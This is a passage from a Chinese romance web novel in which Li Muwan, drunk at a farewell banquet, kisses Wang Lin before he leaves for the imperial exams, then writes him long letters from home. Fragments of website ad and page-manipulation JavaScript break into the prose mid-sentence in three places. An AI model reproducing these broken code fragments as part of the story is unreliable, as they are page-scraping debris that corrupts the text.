周英素在厨房忙碌,热气腾腾的年糕出锅,王天水帮忙端到堂屋,还有新酿的果子酒,雪花飘零的冬日里,各自手里忙活,贴完最后一张门帘,王林正要进院子,海棠院墙外李奇庆领着李慕婉前来贺年。 “王林兄弟。” “阿兄。”兄妹二人朝他喊道。 手里拖着浆糊的王林,衣袖挽了一半,回眸瞧见二人,李慕婉手里拿了两串糖葫芦,哥哥拿了些礼盒,还有一副棋盘。 “阿兄,”李慕婉小跑上前,拿了他手里的东西,又才把糖葫芦塞给他,也不等他反应就自顾进了院子,“新年好,这个给你。” 王林看了看手中的糖葫芦串,朝李奇庆颔首,“李兄,新年好,我娘还念叨着以为你们不来了。” “铺子有些事耽搁了来晚了,婉儿一早就吵着说要来给阿兄拜年,一路上埋怨我呢。” “里边请。”王林笑笑抬手做请。 李慕婉放了东西就去厨房帮忙,周英素见着她笑得合不拢嘴,她左一句周婶,右一句王叔,把二老喊得心都化了。 王天水和王林在堂屋招呼李奇庆,闲聊着,周英素端着最后的米糕上桌,“吃饭啦,吃饭啦。” 李慕婉给她移好矮凳,“周婶辛苦了,婉儿可是想了好久您的手艺。” “哦?哥哥做的饭不合你口味?”李奇庆状若吃味,李慕婉娇俏朝他撇撇嘴。 “喜欢就多吃一些。”周英素慈爱说,“咱们家今年还是第一次这么多人过年,往后婉儿带着哥哥常来。” 王天水去拿了酒,“药铺的生意可还好?” “一切都好。”李奇庆双手接过酒盏。 “铁柱在镇上多亏了你们兄妹照顾。”王天水要倒酒,王林接过。 “我来吧,爹。” 李奇庆忙双手举过盏,谦虚道,“比起二老对婉儿的照顾,不值一提。” “互相照应,互相照应。”周英素附和着。 “新年伊始,万象更新。”李慕婉举杯,“碰一个吧,祝愿王叔周婶身体康健,阿兄取得功名,前程似锦。” “那哥哥呢?怎么不祝哥哥?”李奇庆笑她。 “婉儿还没说完,哥哥急什么,祝哥哥生意兴隆,富甲一方。” “只争朝夕,”王林碰上杯,难得见他放松的时候,“不负韶华。” 竹林小院欢声笑语盖过凄厉的寒风,院里又飘飘洒洒落下雪花,雪碎点缀在寒梅上,白梅花开了,堂屋的花筒里插的都是白梅,上边有红绸带子系着,是新年喜庆景象。 东厢房窗台放了一个花筒,同样插了几支白梅,只是李慕婉搬走之后,东厢房便一直空着,也没有动过。 屋内暖意横流,与屋外寒冷景致截然不同。 “婉儿说,过了元宵,王林兄弟就要上京了?”李奇庆饮下果子酒。 “是啊,元宵过后,官道通了,早些去早做准备。”王天水回话。 “我在燕州的朋友那收了副棋,就当给王林兄弟作礼了,不知用过膳后可否作陪一局?”李奇庆兴致盎然。 “乐意奉陪。” “那我也要观棋。”李慕婉雀跃而起。 席间笑语不断,直到入夜了,天幕彻底暗下,堂屋的喧闹才静下,王家村的人家里时不时散着烟火,一下一下闪过天际。 西厢房内,李奇庆与王林对弈棋局,李慕婉轻车熟路点了香,又替他衣架上挂的衣裳整理好,收拾案台,给两位兄长添茶。 王林白子先落下,修长的指节拂过棋盘,李奇庆视线从李慕婉身上收回,若有所思的落了一子。 二人你来我往,不分上下,李奇庆的棋招攻势十足,王林则以防守为主,步步为营。奈何李奇庆穷追难舍,却没法把他逼入死局,每每一到困局,都会被王林一一化解,看似艰难,实则早已蓄谋已久。 李奇庆在这棋局里想要摸清他的心气,“王林兄边退边打,是否太过谨慎了?” 王林镇定自若,“兵不厌诈,小心驶得万年船,李兄攻势太猛,我若不谨慎些,怕是早已被吃掉了子。” 棋局虽说白子有下风之势,可李慕婉清楚哥哥的棋风,却摸不透王林的,但以她对王林此人的了解,他必定不会做没有把握的事。 “该你了,李兄。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 李奇庆只觉他在下一个很大的陷阱,能一招致胜的陷阱,只是李奇庆眼下的布棋,若想再退防守已是不可能,唯有乘胜追击才有制压的机会。 思虑良久后,他执子欲要落下。 王林噙着笑意提醒道,“李兄,落子无悔。” 李奇庆在棋局里向来是胜天半子,少有人能在他手下讨到好处,面对王林的镇定,一贯自信的他也难免露了怯,只是微乎其微难以让人察觉。 李慕婉观棋不语,似乎要看穿王林的打算,他这是要绝地反击了。 王林落下最后一子,吃了李奇庆的黑子,还跟他留了条后路,让李奇庆觉得有翻盘的可能,当他后退防守时,便是王林进攻的时机。 李慕婉看出门道,他这是一步步引着人入局,让自己以为占了上风,松懈防守后再给致命一击,好算计。 李奇庆恍然时已经晚了,他笑道,“你倒是沉得住气,这么好的机会,为何还要给我留后路,就不怕我伺机反击?” 王林仍是泰然自若,“赶狗入穷巷,必遭反噬,若不让敌人看见希望,留有余地,又怎能全胜而归。” 白子再次落下时,黑子再无反击之力。 李奇庆输得心服口服,“你虽小我几岁,却胆识过人,沉稳不燥,婉儿说得不错,你确实非凡人。京城里能与你相比之人不多,你此次若顺利入京,功名自不在话下。” “李兄过誉,承让了。”王林拱手。 “时候不早了,我跟小妹还得回镇上,今日这棋下得痛快,若有机会,改日再切磋一局。”李奇庆并未因输棋而失落,反倒看得开,经此对弈和闲谈中,也算对王林有了了解。 “下雪了,李兄慢行。” 李慕婉兴意阑珊,显然还不想回,耷拉着头与二老道别后,又与王林说了两句,王林都是浅浅回着。 “院里白梅开得好,今日折了好些,还有没插的,你要带回去吗?”王林实在没准备新年礼,倒是李慕婉给二老备了红袄褂,又给他缝了新的绷带。也知道她喜欢什么,这几支白梅就当是回礼了。 “好。”李慕婉的失落一晃而过,她情绪来的快去的快,仿若他主动关心的一句话,便能开心好久。 回的路上,马车里她细细查看白梅,爱护得紧。 “让哥哥闻闻这白梅有何不同。”李奇庆一路把她情绪裹在眼里,实在忍不下了,伸出手去拿她的宝贝。 李慕婉旋即躲开,不让他碰,似乎察觉自己反应过于大了,又找补道,“就是普通的白梅啊,哥哥不是爱绿竹吗,何时对白梅也感兴致了?” 李奇庆也没勉强,正回身子,雪片落在车顶,车轱辘转动时压过雪积雪,吱呀吱呀。 “就怕妹妹爱惜的不是这白梅,而是送白梅的人。”李奇庆言语带了些惋惜。 李慕婉好似被戳破了心思,面颊红热,“哥哥,哥哥胡说什么呢?” “小妹啊,”李奇庆语重心长,“你自幼跟在哥哥身后,你什么心思,只要一说话,一抬手,眼珠转动一下,哥哥就知道你心中在想什么。况且你这般热心,对那王林事无不细,当真以为哥哥瞧不出来吗?” “你不想离开清平镇是因为他,去书铺主动帮掌柜寻教书先生也是因为他,哥哥说得可对?” 李慕婉埋首不语,李奇庆抚过她面颊,“婉儿,他很好,无论才学还是样貌,都非常出众,即便是在京城,此子必然也算得上翘楚,你与他对弈诗文,辩谈策论,以你的了解,下次春闱中,他能否脱颖而出?” “自是可以。”李慕婉坚定道。 “王林,心气高,不认命,志存高远,若他考了功名,以他才华,锦绣前程,平步青云,指日可待,”李奇庆言辞恳恳,“他得了功名便会留在京城,可是我们呢?我们能回去吗?” 李慕婉潸然落泪,这些她也不是没有考量过,是以一直以来,也只是告诫自己,把他当做阿兄便好,只是阿兄就好。 “王叔和周婶对他寄予厚望,他人挚孝恭顺,又怎会负了父母期许,婉儿,你们不是一路人。” “哥,”李慕婉垂首盯着手里的梅枝,热泪在黑暗中滚入指尖滑进花蕊,“别说了。” “哥哥知道婉儿心中有数,不是没有分寸的丫头。”李奇庆听得出她声音变了,语气也放轻些。 “这个年纪,喜欢美好的事物没有错,少年才俊,气质出众,样貌卓绝,才华横溢,不骄不躁,委实是难得的少年郎,我们婉儿欢喜是人之常情,只是若这段情意注定没有好的结局,哥哥还是希望你不要陷得太深。” “最后伤的还是你自己,婉儿,放下吧。” 李奇庆也看得出王林为人,隐忍克制,若非他矜持自控,以自家妹妹这个主动的架势,换作以往京城任何一家公子,早就决堤了。 李慕婉紧紧咬着牙,早已失了声,也说不出话,只能点头应着他,答应他。李奇庆看不见她埋起来的脸,那双薄肩在昏暗里颤着,无声的泪与那轻如鸿毛的雪片悄无声息落地。 28.醉吻 夜里她攥着那个木雕小像,卧在塌上,脑中回荡着李奇庆的说的话,他们不是一路人吗?只因他要去上京奔赴前程,而上京是她此生不得踏入的地方…… 热泪淌湿了褥枕,哭声淹没在风雪狂骤的黑夜,似无疾而终的情愫,不知何时,李慕婉握着小像慢慢入睡了,睡梦中心还是疼的。 正月初,市集开得早,街道张灯结彩爆竹不断,雪堆了厚厚一层,天际微亮,家家户户门前扫雪人影不停。 李慕婉推开窗,窗临着街道,几日以来都浑浑噩噩的,医书看不进去,王林年关前也结束了书铺的事情,再没过来。这些日子周英素忙里忙完给他准备上京要带的行囊。 王浩和花影来药铺找过李慕婉,念及王林元宵过后就要上京,想约着好友给他践行,李慕婉赴约,过了元宵,年就算出了。 王卓在镇上新置了个小院,因经营家里生意,常在清平镇落脚,住客栈不是常事,索性置办了院子,践行宴就定在王卓小院旁的戏楼里。 花影王浩还有王林从王家村过来,早早就到了,李慕婉帮着哥哥看铺子,耽搁了时间,来到王宅时天已经暗了。 这两日雪停了,可风还是很大,李慕婉行色匆匆,顶着寒风过来,几人包房里围成一桌,桌上摆了几坛酒,席面已经上了,就等李慕婉。 花影心心念念道:“婉儿怎么还没过来,说好今日的。” “要不我去看看?”王浩道。 屋门被敲响,李慕婉着了一件莲花红色斗篷,推门进来时,一股冷风涌入,斗篷上落了雪花点缀在红艳里。 “婉儿来了。”正起身的王浩率先叫了人。 李慕婉扫净雪花,抬眼与众人行礼,视线却落在王林身侧,自上次除夕在王家小院一别之后,两人半个月再无见过。 不知为何,自李奇庆说了那些话后,原先想要亲近的举动都变作退却,只能强颜欢笑的装作若无其事。 “来晚了,我给诸位赔个不是。” “过来坐。”花影给她留位置,好巧不巧偏就与他挨着。 擦肩而过时,李慕婉唤了他:“阿兄。” 王林微颔首。 “铁柱哥过两日就要上京了,不知雪还会不会下,官道不好走,就不能晚些再去?”王浩倒了酒,还有些担心。 屋内点了炭火,暖烘烘的,王卓说:“早些去也好,在京城备考一年,免得与上次一样,若是有点意外,还能有时间缓冲不是。” 李慕婉闻言低头,王林眼角瞧见她的低落,又怕她自责再起,说:“不会的,先前也是因为自己丢了身份鱼符和夹袋,即便去了上京也无法参与会试。” “天麓山的匪徒已经清缴,此次若是走陆路也不怕了。”王卓道。 李慕婉好似一直就心绪不高,心里藏着事,恹恹的,花影察觉她的不对劲,手肘顶了她:“婉儿,怎么了?可是舍不得铁柱哥上京了?” “没,没有,”李慕婉慌张解释,捧起酒盏一饮而下,“阿兄此行定会一帆风顺。” “婉儿说得对,”王浩举杯,“铁柱哥定然能一举夺魁,往后就是赵国一朝宰辅,咱们王家村可要沾光了,若是做了官可不能忘记我们啊,到时候我王浩也要去京城,还得铁柱哥多照看一二。” “来,咱们举杯,给铁柱哥碰一个。” 众人举杯附和,酒盏交错。 “多谢王浩,”王林说,“多谢诸位今日践行,王林谨记在心。” 楼下的戏曲唱得欢快,厢房里的热闹与谈笑绵绵不断,花影和王浩的声音最大,五人当中也只有李慕婉去过京城。 他们从行商客那里听来的京城趣事,谈起来颇为向往,唯独李慕婉,对京城总不愿多言,却总要无事一般与他们谈及几句。 酒过三巡,众人酒喝得多,已有醉态,李慕婉喝了酒便上脸,白皙的小脸因屋内炭火本就烘得热,加上酒意上来了,红得更甚。 花影见着捧起她小脸端详,说话气息醉态倍显:“婉儿,你脸好红,你醉了,不许喝了……” 李慕婉手中的酒杯脱手,见花影夺了酒,惺忪的双眸顿时光亮,起身就要去抢回酒杯,“我没醉,我酒量好着呢,还我。” 嘴里话说得还算清晰,就是身子摇摇欲坠,得撑着桌面,才能勉强站稳。 除了王林,其他二人也趴到桌面不起,王林不贪杯,分寸把握得好,王浩嘴里呢喃着听不清的话,大抵是自己往后要成大富大贵之人的豪言壮志。 酒席菜碟杂乱,酒后的辛辣灼烧着胸腔,李慕婉那边还在与花影争夺酒杯,花影不应她,两人半醉中几乎要倒,见着身躯往下坠的人,王林从身侧熟练抬手把李慕婉拽回座位。 他声音凛然道:“坐好,醉了还这么不安分。” 李慕婉拉着小脸狡辩:“阿兄,婉儿没醉,你替婉儿把酒杯拿回来,好不好?” “不许喝了。”王林感受着手臂被拽的力道,抓开她的手心,有斥责的意思,“安分一些。” 王林见四人喝得烂醉,没个清醒的,夜又渐深,戏楼的曲目换了几次,听客也所剩不多。 “回去吧。” 顷刻间,王浩拍了桌子抬起头,“走,王卓哥,你院里不是还有果子酒吗?咱们回去接着喝。” 花影与李慕婉还在周旋,两个醉鬼各说各的,没一句对得上,王卓清醒一些,还能自己走得稳,“走,今夜都别回去了,接着喝,不醉不归。” 王浩跟着起,拉过与李慕婉玩闹的花影,“走啦,快走。” 花影被拽着走,李慕婉也要跟上去,走出几步有撞上桌子的气势,身后王林一把抬过她手臂搭着自己肩,“你兄长若是看到你喝成这样,不会训你?” 李慕婉听得清,还能回他话:“哥?哥哥他会训。” 见她朝自己做了个嘘的手势,“别跟哥哥说。” 王林不知她是清醒还是不清醒,唤着她名字:“李慕婉,你醉了。” “醉了吗?那阿兄呢?阿兄也醉了?”二人就要走出门时,李慕婉踉跄不稳撞了门槛,身躯跌跌撞撞入了他怀里,王林猝不及防,被她推得往后退,直到靠着墙面才稳住身形,身上的李慕婉伏在肩头。 她努力仰着头去看清那张脸,王林俯视着她,两人视线逼近,他能闻到她鼻息出来的酒香,热热的。按在胸前的手掌撑着力,她眼神涣散,却睁得很大,注视着王林那双星眸。 “阿兄,”李慕婉呼吸沉重,王林听得见彼此的心跳声,贴得很近,“阿兄的一双眼睛,好生漂亮。” 李慕婉说着抬手轻抚过去,王林背贴着墙,双手却无处安放。 被她抚着眉心一直到鼻梁,他涨死了,声音哑得几近没有声,“李慕婉,你到底醉没醉?给个准信。” 她的双眸蕴藏的温柔中带了几分娇媚,只觉浑身轻飘飘的,热得很,一股冲动刺激着她,那是酒后给她带的冲动。 “阿兄,”她气息很轻,轻的让人觉得是一种引诱,王林耳根烧红了,手臂抬到半空却不敢碰她,飘起的发丝懒洋洋落在他半握的掌心里,“哥哥说你去了京城便不会再回来了。” 王林倾听着,喉间不自觉连连滚了几下。 “反正阿兄醉了,婉儿也醉了,醒来后都不会记得。” 她像下定某种决心。 “阿兄,婉儿就冲动这么一回。” 李慕婉指尖从他高挺的鼻梁往下,抚到人中,指腹的温热触碰到唇线,她踮起脚伏在他膛前,身子慢慢上前。 王林瞳孔微张,逐渐放大,没有躲,半握的掌心最终成拳,藏在宽袖里,似在期待什么。只觉温热朝自己贴近,直到李慕婉的唇瓣贴过来。 她闭了眼,他看不见她眼神里情愫,只瞧得见那睫羽如蝶轻颤,一行清泪在她眼角漫出。 少年身躯僵硬,良久,李慕婉没有移开,也没有动,她不懂得亲吻,只想着贴近,再贴近,就这么感受着他的气息和味道。 直到踮起的脚尖支撑不住时才收回来,李慕婉模糊的看着他的轮廓,浅浅笑着,“阿兄,婉儿祝你前程似锦,公侯万代……” 王林还未从那一吻的余温里出来,李慕婉话未说完就醉倒怀中,眼看要坠下去,王林紧握的拳才舍得从袖口抬起,扣住了她后腰。 “你怎知我醉了,”王林下颚轻抵在她肩头,“怎知,我不会记得?” 王浩王卓花影 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 三人已入了王宅,王林随后送了李慕婉过去,几人一回到宅院厢房里,酒坛开了,只是还没喝几口,都倒在了长炕上。 厢房的长炕能睡下五六人,王浩与王卓躺在左侧,花影贴着右边的墙,只剩下中间的位置。几人醉得不省人事,就连同二人没跟上也不清楚。 王林扶着李慕婉入房,又给她倒了热茶喝下,李慕婉站不住,王林便让她坐到炕边,屋内炭火烧的足,身上披的斗篷闷人,李慕婉毫无章法的解着系带,却解不开。索性直接躺上去了。 王浩那边也不怎么安分,眼看要滚到李慕婉身侧,正在给她倒茶的王林余光凛冽,飞步踏前,将滚过来的王浩一把提溜开外,近乎与王卓叠在一处。 为了防止醉鬼王浩再贴过来,王林无奈只能坐在中间,隔开二人。 花影口中还时不时喊着要继续喝,躺下的李慕婉似乎闷得不舒服,扯着脖颈下的斗篷系带,五官拧成一团,呼吸重得很。 王林见状只好帮她解开了,他端详着那张脸,还有她的软唇,一丝记忆提醒着他方才戏楼里她那个吻,酒后的冲动,偏就叫他是清醒的,若他也醉了,他也无法保证能自持。 夜过子时,屋外风雪不停,雪花打着窗棂,屋内已有鼾声,李慕婉似睡的不好,总是翻着身,王林盘坐了许久,应是炕上硌得很她才不舒适。 身旁的人背对自己,王林困意泛起,最终还是躺了下去,双手枕着头望着屋顶,李慕婉醉意朦胧,转身寻着舒适的位置。王林侧头瞧她,鬼使神差伸出臂,让她枕在自己臂弯里,两幅身躯却隔了些距离。 等了片刻,见她紧蹙的眉心有所舒展,应是对这臂枕还算满意。 “哥,别训,婉儿这就回……这就回了……”王林闭上眼,噙着笑意,隐隐听得她呢喃的话语。 他侧了身,将李慕婉笼罩在自己的气息下,伸展的手臂弯回,指尖轻缕过她发丝,将衔在面颊的乱发拨到身后,眼神在任何人看不见的昏暗里,揉碎了。 天际熹微时,燃了整夜的烛台烧尽,炭火的余热也渐渐冷却,风雪都停了。 王林半睁开眼,李慕婉还是睡前那个姿势,对着自己,身后的王浩有醒的趋势,腿不安分搭过王林,手也跟着过来,差半臂长就要碰到李慕婉。 王林轻轻抽回手臂,侧了个身,把王浩推走后,他自个手脚压上去,王浩被压得动弹不得,身上又无力,没得反抗。 李慕婉醒后,只看见身侧的三个男子紧紧挨着睡在一块,脑袋昏沉沉的,昨夜之事一点都没印象,只觉睡了很长的一觉。 屋外暖阳洒进窗,她下炕去拿了斗篷系上,心有担忧,自己一夜未归,不知兄长有无担心自己。 屋内还萦绕着酒气,就连自己身上也是,好似还有别的气息,她一时半会儿辨别不出。 炕上有了动静,花影窸窸窣窣撑起身,抻懒腰伸筋,把余下的懒意驱散后也下了塌。 “婉儿,起的这么早。”花影到了杯冷茶解渴。 “花影,我得回去了,昨夜未归,怕哥哥寻我。”李慕婉声音沙哑。 “我送你。”花影茶吞到一半。 “不用了。”李慕婉开了门出去。 王林也起了,挺直的身姿坐在炕沿,他拉紧了些那条云纹发带,朝门口走去:“我送你回去吧,若李兄问起,也能替你解释一二。” 李慕婉踩过积雪,听闻熟悉的声音才回眸,檐下的人涉阶而下走来,“阿兄。” 王林略过她若无其事走在前面,李慕婉却未动。 “阿兄,”她叫住了人,“我自己回去就好。” 她面露难色,王林不知她在躲什么,与昨夜那个强行吻自己的人截然不同,他不确定她是否还记得。 “你……”王林想试探,却不知如何问起。 “阿兄过两日就要启程了?” 红唇翕合间,他思绪飘远,淡淡“嗯”了一声,“快回吧。” 李慕婉转身就走,并未多留,踩过的雪地陷了深深的脚印,几户人家已经在门前扫雪。 雪碎被扬起又落下,青石板的街道化了一摊湿气,晨阳照着纤细的身影逐渐拉远,少年转身回了王家院子。 29.入京 李慕婉身上挂了寒气,药铺开了门,李奇庆在药柜前整理药材,听得门外动静,随即又是李慕婉一声:“哥,婉儿回来了。” 李奇庆低头继续整理药材,却比李慕婉想得冷静,还以为会训自己一顿。 “舍得回来了?”李奇庆念及她那日哭得伤心,语气也并未责怪。 “阿兄过两日赴京,好友间喝了酒,就在王卓家睡了,让哥哥担心了。”李慕婉声音淡然,看着兴致不高。 李奇庆走近她,果然一身酒气,“以往在京城时,你从不会如此放纵自己,更别说夜不归家。” “从小你喝醉了便不记事,若是发生点什么都不知从哪说起。” “婉儿知道哥哥想说什么,”李慕婉替他递过药材,“哥哥那日说的话,婉儿都记着,绝不会有所妄想。” 李奇庆摇了摇头,不知她是否当真清楚自己的用意。 两日后,清平镇的雪化透了,日光暖阳,照着王家小院的枯景,周英素抱着王林不舍道:“铁柱,一路珍重,若考不上也没关系,你踏踏实实回来,还有爹娘呢,不要把自己逼得太急。” 王天水声音沉重:“孩他娘,让铁柱安心些,别哭了。” 王林替母亲擦去泪水,安慰道:“放心吧,爹,娘,孩儿一定全力以赴,不论结果如何,都不会失去心气的,等铁柱回来。” “诶……”王天水默默点头,拍了拍他宽肩,“去吧,早些赶路。” 竹林小院新年的红灯笼和红绸还未拆卸,二老站在竹林下,远远望着离去的背影。 王林出了村口坐上村里的马车,驶离一里地,日头斜过半空,田野小道上,一道身影急急而来,李慕婉追着马车,马车带了几个人,走得并不快,朦胧里他看清这身影。 “阿兄,阿兄等一下……”李慕婉边跑边喊着,见她面容带了急切,果断跃下马车,稳稳落地。 见她撑着膝平复气息,碎发贴着鬓间,额间冒出细汗,像是涉过千山万水,李慕婉带着喘息说:“阿兄,此去京城,路途遥远,阿兄务必保重。” 她薄肩背着包袱,取下后塞入他手里,“京城比长乐县冷得多,凛冬寒霜难散,一路上风雪载途,这是婉儿给阿兄备的大氅,能够御寒抵凉。” “还有,这是婉儿给阿兄做的靴子,里边都是绒毛的,即便雪天阿兄穿着都不会冷脚。” 王林接着包袱,沉甸甸的重量,却无法衡量李慕婉的心意。 “费心了。” “还有,”李慕婉又从袖袋拿出一个锦囊,“京城不像王家村,人多眼杂,繁事都有利益牵扯,明争暗斗不休,暗流涌动难以窥见,若阿兄在京城遇事难以脱身,可打开此锦囊,望能助阿兄脱困。” 锦囊举在半空,王林注视着她泛红的两颊,思量须臾,“多谢。” 李慕婉目光满是难舍,却一句未提不舍,句句都是临行嘱托,此次一别,不知能否还有再见之日,但她想尽可能的助他走上一直想要走的仕途之路。 “阿兄全力备考就是,”李慕婉漾出笑,媲春风暖阳,“王叔和周婶,婉儿来照顾,你无需有后顾之忧。” 王林望着她星眸里的赤诚,向来冷若冰霜,淡漠疏离的人,在这一刻覆上柔情,他抬手,手上缠的绷带擦过李慕婉额间,密汗落到丝线里,连同那股谁都没能说出口的情愫,隐落在内。 李慕婉感受着他手背拂过额心的力量,睁睁望着他,没移开眼,十里春风裹着二人,万物似静止一般。 “等我回来。”王林收回手,满眼柔色。 这还是他第一次对自己有了许诺,李慕婉星眸微转,弥漫起笑容,重重点了头:“嗯。” 马车在身后催促起来,王林转身跃然而上,李慕婉望着远去的背影,直至消散在林荫里,她才舍得收回视线。 她知道,他并非是会轻易许诺之人,他说过会回来,便一定会回来。 *** 此行上京还算顺利,除了几场大雪封路,在客栈滞留了几日,历经一个多月王林在上京安顿好住处,其他州郡赴京赶考的学子早早就到了,王林已算是来得迟的。 安顿的客栈住的大多数都是来考试的学子,王林租了一间房,为期一年,待考完试再做打算,他穿着李慕婉缝制的大氅,抵御着京城的严寒。 当初在她给的包袱里,翻出不少银子还有银票,是她悄悄放进去的,原是想着直给怕他不接受,故而只能如此。 过了天麓山王林便已经给家中去了一封信,到了京城安顿后又第一时间寄了家书,家书上的话并不算多,却把王父王母想要知道的都讲得清楚,其余就是叮嘱之话。 客栈住的大多是寒门出身,王林并不主动与人交际,倒是遇到热情的,就住在他隔壁的程贤,也是从其他州郡过来的考生。 他身上那股热情让王林想起王浩,此人待人赤诚,又是自来熟,一来一回的王林便与之相谈渐熟。 自王林上京后,李慕婉隔三差五的回王家村看望二老,还从木雕铺子拿了信,堂屋里李慕婉念着信上的内容,王天水和周英素听完才安心。 “王叔,周婶,放心吧,阿兄到了上京,就只需要安心备考,明年定然能考上的。” 李慕婉替二老回了信,前后王林寄了几次信回清平镇,每隔一段时间便能接到李慕婉的回信。 起初大多是王父王母的话,后来信中自然而然就都是她的话。客栈小二来王林房间送信,程贤正巧过来寻他,见着桌上的信笺厚厚一层,不免问道:“王兄,这家书阵仗不小啊,这么厚一叠,得有十几页吧。” 王林嘴角轻扬,自顾拆了信,第一页是王天水和周英素写的话,字迹却是李慕婉所写,“铁柱啊,爹娘一切安好,无需多虑,婉儿常来家中帮衬,你且放心备考……” 翻到第二页,余下的就是李慕婉说的话。 程贤不由揶揄道:“这是家书吗?莫不是把手札都寄来了吧?” 手札?王林心想倒是像,先前的信都是她的碎碎念,确实更像是手札。 见他难得露出柔色,程贤试探他调侃问:“这般珍视,莫非是相好写的信?” “还有事吗?”王林抬眼睨他,“若无事我要温书了,不送。” 他毫不留情下逐客令,程贤也很是识趣,见他急着要看信也不多留,借了本书就出去了。 王林这才安静下来认认真真细读,她字体娟秀,又不失飘逸。 “阿兄,近来可好?京城的寒冬已散,早春临近,早晚寒意未去,阿兄莫要贪凉。王叔周婶身体无碍,阿兄无需挂怀……” 前几页都还是正肃的,写着写着便谈起家常。 日复一日,王林书案上堆叠的家书越来越厚。 “永正九年,三月二十七日,后院的老母鸡孵了一窝小鸡仔,周婶哄着婉儿去看,可婉儿原本害怕,周婶说小鸡不啄人的,抓了一只放到我手心,毛茸茸的,爪子很小。可婉儿拿了小鸡,母鸡便要过来啄我,还好周婶拦下了。 “可是周婶也是哄人的,小鸡会啄人,只不过不疼罢了。”王林又读完一页,叠放一旁,尤记得她那时被一只鸡堵在门口不敢出来的模样。 “永正九年,四月初五,清明时节,王家村的雨持续了好几日,绵绵不断,把婉儿养在院里的山茶淹坏了。王浩又送了几株过来,花影和王浩闲时也会过来探望王叔和周婶,我们还一同上山采了药。” “哥哥从西域商人那进了几味稀有药材,婉儿研习医书时,发现这几味药材对风湿腿疾极有疗效,便给周婶做了丹药。周婶服用后,雨天已经少有发作。 “王叔又接了一批木雕,是外州商人的单子,给的银子多,工期不长。王叔这些时日精神气可足,阿兄在京城大可放心就是。”书案前的提神香萦入鼻息,还是李慕婉做的香。 “永正九年,四月初十,雨停了,王家村春耕后的稻苗长得苍翠。谢三婶进了些稻花鱼苗投进田里,说是等稻子丰收时,鱼儿就肥了。到时候要做一顿全鱼宴,叫上村里的人一块吃。 “花影拉着我下田赶鱼,婉儿竟然才知稻叶锋利伤人会疼,回去的时候衣裳也湿了,但是婉儿觉着很开心,很惬意。”王林摇摇头,眉目溢着笑意,又看完一页。 烛火燃了一半,灯芯长了,他剪掉灯芯后继续往下看。 “永正九年,四月十五,院里海棠花盛开,哥哥的药铺生意越来越好,婉儿研制的丹药也颇受喜爱。哥哥夸我丹道卓绝,婉儿知道他是哄我玩儿的。” “镇上的四大家族之一孙员外来店里订了一批药材,婉儿还赠送了几瓶清心养神的丹药,若是他们用得好,说不定下次也会来定我炼制的丹药。” “永正九年,六月初六,盛暑炎热,上山采药的人少了,哥哥的铺子生意承接几批大单子,都是外州商客来订的单,店里人手不足,葛阳许浩来店里帮忙。 “哥哥给他们支付了工钱,也知道他们曾经想要欺负我来着。不过哥哥既往不咎,同意让他们来店里上工。他们也不再是花溪村里无所事事的小混混,还说若是阿兄科考回乡,他们也要前来道贺。” “永正九年,七月初七,镇上乞巧节举办了灯会,花影拉着我去看了游园灯会,河道放了许多河灯,两岸停了不少画舫,画舫上能猜灯谜,婉儿赢了好几只灯笼,哥哥却说,那是有情人才去的活动……”他好似能感受到她写下这段话时蕴藏的小失落。 “永正九年,八月十五,周婶做了月饼,王叔说阿兄小时候最爱吃月饼,每到中秋便会吵着周婶做,还有酱牛肉,周婶常念着阿兄在京城吃得可好?睡得可好?阿兄放心,婉儿会宽慰周婶的。” “永正九年,九月初九,重阳佳节,秋风已起,落叶飘零,王叔又完工一批木雕。想要把银子攒下来,‘等铁柱回来后娶媳妇用’这是王叔的原话。”李慕婉写到这还特意解释一句,“清儿阿姐许了县城一户人家,周婶坐在院里纳凉时念叨了下,‘若是那丫头与铁柱当初定了亲,此时也该是王家抱孙儿了’这是周婶的原话。” 王林轻笑,眼中满是思念,离别王家村已有大半年,在京城备考的日子,他每日都不敢松懈。 “……” “阿兄,一别数月,百花落尽月又西,这是婉儿想与阿兄说的话。”王林手中留着最后一张信纸,指尖划过最后一行字,久久停留。 李慕婉信中字字不言相思,却字字倾诉着思念,那如潮涌的念想最终化作一缕清风,从王家村吹到京城。 李奇庆一年来见着李慕婉在王家忙前忙后,悉心照顾,心底的愁容越发重,见她乐在其中,又不愿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多提。 *** 永正十年,正月十五,京城百松书院举办诗会,广邀学子赴会,京城世家大族公子小姐,京城文人墨客,皆会到此。 王林本不爱热闹,奈何程贤早早就来邀请,只道京城各路文人皆数到齐,兴许还能结交不少贤才,往后若在京城立命,自是少不了与这些人往来。 京城元宵灯会比清平镇的繁闹数倍,十里华灯,九城宫阙,三千华灯如同悬挂星河的星点,人声鼎沸,诗会设在画舫中,能承载上千人的画舫,许多州郡前来的学子都不曾见过如此壮观之景。 程贤伏在王林耳侧说:“这画舫可是礼部尚书李元朗嫡女李大小姐包下的。” “礼部尚书?”王林侧眸问。 随着人群里的燥热,几位装扮艳丽华贵的世家女子上了画舫,众人目光投注,程贤拉着王林一道看过去,“没错,你眼前所见,第一排右侧的便是李元朗之女,李秋池,左侧这一位也来头不小,太傅之女周紫虹,此二人是京城世家女中翘楚,艳冠群芳,才学卓著。” 王林仅仅扫了一眼就移开了目光,只道程贤口若悬河,夸张了些。 “你别不信,”程贤见他一副不在意的模样,“不过两年前京城第一才女却有其人,若她还在,今日众星捧月,人群瞩目的,必然是她。” “她?”王林问,“从何说起?” “从前京城最具盛名的才女,乃是前朝太医院院判嫡孙,此女精通药理,才貌双全,满腹经纶,颜如渥丹,般般入画。 “可谓是出淤泥而不染,濯清涟而不妖,人称莲花仙子。在百松书院时,多少学子觊觎她美貌和才华,只不过呢,她有个好哥哥,旁人若想接近,断断是无可能的。” 烟火散在眸底,王林遐想,他所描绘之人,眼前竟有了一道熟悉的身影。 “你非京城之人,又怎知这些秘辛。” “这哪算什么秘辛,京城世家和文人才子人尽皆知罢了,”程贤在京城一年多,早就混熟了,“想当年,李院判府邸门庭若市,都是为着李家兄妹婚事而来。” “你见过?”王林揣手很是闲适的靠在柱子上。 